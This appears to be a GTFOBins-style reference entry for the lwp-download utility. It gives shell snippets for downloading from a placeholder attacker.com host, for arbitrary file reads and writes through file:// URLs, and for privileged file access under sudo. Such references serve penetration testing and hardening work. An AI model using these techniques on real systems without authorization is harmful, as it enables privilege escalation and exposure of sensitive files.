.. / lwp-download

• File download
• File write
• File read
• Sudo

Fetch a remote file via HTTP GET request.

File download

It can download remote files.

• URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  lwp-download $URL $LFILE

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• LFILE=file_to_write
  TF=$(mktemp)
  echo DATA >$TF
  lwp-download file://$TF $LFILE

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• The file path must be absolute.

  LFILE=file_to_read
  TF=$(mktemp)
  lwp-download "file://$LFILE" $TF
  cat $TF

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  sudo lwp-download $URL $LFILE